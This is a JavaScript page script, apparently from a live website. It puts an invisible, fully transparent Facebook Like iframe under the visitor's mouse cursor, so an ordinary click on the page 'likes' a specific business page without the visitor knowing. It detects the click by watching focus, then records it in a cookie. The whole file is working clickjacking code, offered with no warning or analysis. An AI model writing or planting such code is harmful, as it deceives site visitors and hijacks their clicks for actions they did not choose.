var interval;

$(document).ready(function() {
	//setCookie("liked","yes",-1);return;
	
	if (screen.width<800) {
		return;
	}

    interval = setInterval("updateActiveElement();", 50);
    
    var a = getCookie("liked");
    if (a == "yes") {
    	clearInterval(interval);
    	return;
    }
    $("body").append('<div id="icontainer"><div id="fblike"><iframe src="//www.facebook.com/plugins/like.php?href=http://www.facebook.com/phattrienquatangviet&amp;send=false&amp;layout=standard&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:35px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe></div></div>');
    $("#icontainer").css({
        'overflow': 'hidden',
        'width': '20px',
        'height': '20px',
        'position': 'absolute',
        'opacity': 0
    });
    $("#fblike").css({
        'top': '0px',
        'left': '-20px',
        'position': 'absolute'
    });
    
    var iflag = 0;
    var icontainer = document.getElementById('icontainer');
    var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body;
    
    function mouseFollower(e) {
    	if (window.event) { 
    		icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
    		icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
    	}
    	else {
    		icontainer.style.top = (e.pageY-5)+'px';
    		icontainer.style.left = (e.pageX-5)+'px';
    	}	 
    }
    
    document.onmousemove = function(e) {
    	if (iflag == 0) {
    		mouseFollower(e);
    	}
    };
});

function updateActiveElement() {
	if ($(document.activeElement).attr('id')=="fbframe") {
		clearInterval(interval);
		iflag=1;
		setTimeout(function() {
            $("#icontainer").css({
                'display': 'none'
            });
        }, 500);
		c_name = 'liked';
		value = "yes";
        setCookie(c_name, value, 30);
	}
}

function getCookie(c_name) {
    var i;
    var x;
    var y;
    var ARRcookies = document.cookie.split(";");
    
    for (i = 0; i < ARRcookies.length; i++) {
        x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
        y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
        x = x.replace(/^\s+|\s+$/g, "");
        if (x==c_name) {
            return unescape(y);
        }
    }
}
function setCookie(c_name,value,exdays) {
	var exdate=new Date();
	exdate.setDate(exdate.getDate() + exdays);
	
	var c_value=escape(value) + ((exdays==null) ? "" : ";expires="+exdate.toUTCString());
	document.cookie=c_name + "=" + c_value;
}